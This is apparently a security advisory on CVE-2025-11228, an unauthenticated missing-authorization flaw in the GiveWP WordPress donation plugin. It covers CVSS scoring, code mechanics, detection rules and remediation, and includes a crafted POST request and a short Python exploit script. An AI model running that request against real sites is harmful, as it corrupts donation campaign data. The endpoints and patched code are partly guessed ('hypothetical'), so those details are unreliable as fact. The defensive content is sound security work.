CVE-2025-11228

Executive Summary

CVE-2025-11228 is a Missing Authorization vulnerability in the GiveWP – Donation Plugin and Fundraising Platform for WordPress. The flaw resides in the registerAssociateFormsWithCampaign function, which lacks a capability check, allowing unauthenticated attackers to associate any donation form with any campaign. This can lead to unauthorized data manipulation, potentially disrupting fundraising campaigns and causing data integrity issues.

This vulnerability affects all versions up to and including 4.10.0. No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. However, the attack vector is network-based with low complexity, requiring no authentication or user interaction.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The GiveWP plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and ensure they are sourced from trusted channels. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. While the impact is limited to integrity (low), the ease of exploitation (no auth, no interaction) makes it a viable target for automated attacks, especially in large-scale WordPress deployments.

Deep Dive & Mechanics

The vulnerability is a classic case of Missing Authorization (CWE-862). The registerAssociateFormsWithCampaign function is intended to be called by authenticated users with specific capabilities (e.g., administrators or campaign managers). However, the code does not perform a current_user_can() or similar capability check before executing the association logic.

Affected Code Path:

1. An unauthenticated attacker sends a crafted HTTP request to the WordPress REST API or AJAX endpoint that triggers registerAssociateFormsWithCampaign.
2. The function receives parameters for form_id and campaign_id.
3. Without verifying the user's permissions, the function updates the database to associate the given form with the given campaign.
4. This can be repeated to associate multiple forms with arbitrary campaigns, potentially corrupting campaign data and misleading donors.

Impact:

• Unauthorized association of donation forms with campaigns.
• Potential for campaign data corruption.
• Possible disruption of fundraising analytics and reporting.

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.10.0):

public function registerAssociateFormsWithCampaign( $form_id, $campaign_id ) {
    // No capability check
    update_post_meta( $form_id, '_give_campaign_id', $campaign_id );
    // Additional logic...
}

Patched Code (Hypothetical):

public function registerAssociateFormsWithCampaign( $form_id, $campaign_id ) {
    if ( ! current_user_can( 'manage_give_campaigns' ) ) {
        wp_die( 'Unauthorized', 403 );
    }
    update_post_meta( $form_id, '_give_campaign_id', $campaign_id );
    // Additional logic...
}

The patch adds a capability check using current_user_can() to ensure only authorized users can perform the association.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress instance with GiveWP plugin version <= 4.10.0.
• Network access to the WordPress site.

Exploitation Steps:

1. Identify the vulnerable endpoint. This is typically a REST API route or AJAX action. For example:
   • REST: POST /wp-json/give/v1/campaigns/associate-form
   • AJAX: POST /wp-admin/admin-ajax.php?action=give_associate_form_campaign
2. Craft a request with the required parameters:

   POST /wp-json/give/v1/campaigns/associate-form HTTP/1.1
   Host: target-wordpress-site.com
   Content-Type: application/json
   
   {
     "form_id": 123,
     "campaign_id": 456
   }
   

3. Send the request without any authentication headers.
4. Verify the association by checking the campaign's associated forms via the WordPress admin interface or API.

Automation Script (Python):

import requests

target = "http://target-wordpress-site.com"
endpoint = "/wp-json/give/v1/campaigns/associate-form"
payload = {"form_id": 123, "campaign_id": 456}

response = requests.post(target + endpoint, json=payload)
if response.status_code == 200:
    print("Exploit successful!")
else:
    print("Exploit failed.")

Blue Team

Detection:

• Monitor for unauthorized POST requests to /wp-json/give/v1/campaigns/associate-form or admin-ajax.php?action=give_associate_form_campaign from unauthenticated sources.
• Look for unusual patterns of form-campaign associations in the database.

Hunting:

• Query the wp_postmeta table for unexpected _give_campaign_id entries:

  SELECT * FROM wp_postmeta WHERE meta_key = '_give_campaign_id' AND post_id NOT IN (SELECT ID FROM wp_posts WHERE post_type = 'give_forms');
  

• Review web server logs for 403 errors on the vulnerable endpoint (if a patch is applied).

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-json/give/v1/campaigns/associate-form without authentication.
  • POST requests to /wp-admin/admin-ajax.php with action=give_associate_form_campaign and no valid nonce.
• Host:
  • Unexpected entries in wp_postmeta with meta_key = '_give_campaign_id' for forms that should not be associated with certain campaigns.
  • Modified campaign data in wp_posts or wp_postmeta tables.
• Logs:
  • Web server access logs showing repeated requests to the vulnerable endpoint from the same IP.

Detection Engineering

YARA Rule

rule CVE_2025_11228_GiveWP_Missing_Auth {
    meta:
        description = "Detects GiveWP plugin files vulnerable to CVE-2025-11228"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-11228"
    strings:
        $func = "registerAssociateFormsWithCampaign"
        $no_check = "current_user_can" nocase
    condition:
        $func and not $no_check
}

Sigma Rule

title: CVE-2025-11228 - GiveWP Unauthenticated Form-Campaign Association
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated POST requests to the GiveWP vulnerable endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains:
            - "/wp-json/give/v1/campaigns/associate-form"
            - "action=give_associate_form_campaign"
    condition: selection
falsepositives:
    - Legitimate admin actions (if patched)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-11228 GiveWP Unauthenticated Form-Campaign Association"; flow:to_server; content:"POST"; http_method; content:"/wp-json/give/v1/campaigns/associate-form"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin: If a patched version becomes available, update GiveWP to the latest version immediately.
2. Web Application Firewall (WAF): Block requests to the vulnerable endpoints from unauthenticated users.
3. Disable the plugin: If no patch is available and the risk is unacceptable, consider disabling the plugin until a fix is released.

Long-term Measures:

• Implement a plugin update policy to ensure timely patching.
• Conduct regular security audits of WordPress plugins.
• Use a security plugin that monitors for unauthorized REST API calls.

Workaround:

• Add a custom capability check via a WordPress filter or mu-plugin:

  add_filter( 'give_register_associate_forms_with_campaign', function( $allowed, $form_id, $campaign_id ) {
      if ( ! current_user_can( 'manage_give_campaigns' ) ) {
          return false;
      }
      return $allowed;
  }, 10, 3 );
  

Valters IT
Securing Digital Frontiers